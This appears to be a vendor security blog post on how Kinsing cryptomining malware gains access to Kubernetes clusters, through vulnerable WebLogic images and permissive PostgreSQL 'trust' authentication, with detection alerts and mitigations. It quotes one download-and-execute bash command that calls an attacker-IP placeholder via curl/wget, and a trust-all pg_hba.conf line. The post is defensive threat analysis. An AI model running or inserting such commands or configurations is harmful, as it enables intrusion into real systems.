Initial access techniques in Kubernetes environments used by Kinsing malware

[Guest Sunders_Bruskin]

Sunders Bruskin, Security Researcher, Microsoft Defender for Cloud

 

 

 

Abstract

 

Kinsing is a known malware that targets Linux environments for cryptocurrency purposes. Kinsing uses some unique techniques that target containerized environments, making it also common in Kubernetes clusters. The evolving behavior of Kinsing has been analyzed in several different blog posts.

 

 

 

In this blog post, we will focus on a specific angle of Kinsing: the initial access techniques in Kubernetes environments. While Kinsing uses multiple initial access vector techniques, in Microsoft Defender for Cloud, we recently observed two methods that are especially common: Exploitation of weakly configured PostgreSQL containers and exploiting vulnerable images.

We will discuss these methods and explain how organizations can detect and mitigate those threats.

 

 

 

Method 1: Vulnerable images

 

Through our threat hunting activity, we observed several images that are frequently infected with Kinsing malware. Many of those images were vulnerable to remote code execution, allowing attackers with network access to exploit the container and run their malicious payload.

 

A few examples of applications with vulnerable versions that were exploited are:

 

• PHPUnit
  
• Liferay
  
• WebLogic
  
• Wordpress
  

 

 

 

We will focus on a specific example: Oracle WebLogic exploitation. In 2020 Oracle disclosed a series of high severity vulnerabilities, allowing remote code execution (CVE-2020-14882, CVE-2020-14750, and CVE-2020-14883).

 

 

Recently, we identified a widespread campaign of Kinsing that targeted vulnerable versions of WebLogic servers.

 

Attacks start with scanning of a wide range of IP addresses, looking for an open port that matches the WebLogic default port (7001).

 

If vulnerable, attackers can use one of the exploits to run their malicious payload (Kinsing in this case). The main method we observed was running a malicious command with the following structure:

 

“/bin/bash -c (curl -s Attacker_IP/Payload_Name.sh||wget -q -O-Attacker_IP/Payload_Name.sh)|bash”

 

 

Detection

 

In Microsoft Defender for Cloud, several alerts can identify dropping a payload on a container in case of exploitation. The alerts can identify suspicious downloads to the container as well as suspicious resources from which the file was downloaded.

 

 

Examples of such alerts:

 

• A file was downloaded and executed – a file has been downloaded to the container, given execution privileges, and then executed.
  
• Behavior similar to common Linux bots detected – execution of a process associated with common Linux botnets.
  
• Detected suspicious file download – can identify suspicious download of binaries that can pose a risk to the host.
  
• Suspicious download then run activity – looks for suspicious files that were downloaded and executed (common method of miners).
  

 

 

 

Mitigations:

 

There are several ways to mitigate the risk of containers with vulnerable images.

The first thing to note when deploying an image to the container is that it is an image from a known registry and it is patched with the latest version.

Also, scan all images for vulnerabilities to identify which ones are vulnerable and what the vulnerabilities are, especially the ones that are used in exposed containers.

It is also possible to mitigate the risk by minimizing access to the container, assigning access to specific IPs and applying the least privileges rule to the user.

 

 

Method 2: Exploitation of weakly configured PostgreSQL

 

The second method we observed to get initial access and run the malicious payload is a misconfigured and exposed PostgreSQL servers. Lately, we observed a large amount of clusters that were infected with Kinsing and ran a PostgreSQL container.

 

There are several misconfigurations that attackers can use to get access to a Postgres server if exposed:

 

The first misconfiguration is using ‘trust authentication’ setting. According to PostgreSQL official site:

 

“When trust authentication is specified, PostgreSQL assumes that anyone who can connect to the server is authorized to access the database with whatever database user name they specify (even superuser names)”

 

 

To assign trust configuration on a specific IP address one needs to edit the pg_hba.conf file, and add the following line:

“Host all all [iP_Address/range] trust”

 

In some cases, this range is wider than it should be or even accepts connections from any IP address (i.e. 0.0.0.0/0). In such configurations, attackers can freely connect to the Postgres servers without authentication, which may lead to code execution.

 

Also, some network configurations in Kubernetes are prone to ARP poisoning, allowing attackers to impersonate applications in the cluster. Therefore, even specifying a private IP address in the “trust” configuration may pose a security risk.

 

There are several methods to modify PostgreSQL container’s configuration, edit the pg_hba.conf file directly or set environment variables that will modify the file (POSTGRES_HOST_AUTH_METHOD variable).

 

In general, allowing access to a broad range of IP addresses is exposing the PostgreSQL container to a potential threat. Even if the unsecured “trust” authentication method isn’t used, and other methods are used instead, it can open attackers to several options such as brute force on the Postgresql accounts, attacking the container availability with DoS and DDoS attacks, and trying to exploit the container and the DB itself.

 

 

 

Microsoft Defender for Cloud identifies permissive settings and misconfigurations of PostgreSQL server containers that are exposed to the internet. In this way, an organization can mitigate the risk before the container get compromised.

In addition, even if the configuration changes while the container is already running, we can monitor the changes and notify the customer about the change.

 

 

 

 

 

 

Figure 1: Microsoft Defender for Cloud Alert

 

 

 

In conclusion, we demonstrated two techniques that are commonly seen in real-world attacks on Kubernetes clusters: exploiting vulnerable images and leveraging excessive Internet exposure.

Exposing the cluster to the Internet without proper security measures can leave it open to attack from external sources. In addition, attackers can gain access to the cluster by taking advantage of known vulnerabilities in images.

It’s important for security teams to be aware of exposed containers and vulnerable images and try to mitigate the risk before they are breached. As we have seen in this blog, regularly updating images and secure configurations can be a game changer for a company when trying to be as protected as possible from security breaches and risky exposure.

 

 

 

 

 

 

Figure 2: Kinsing initial access options and methods to mitigate them.

 

 

Continue reading...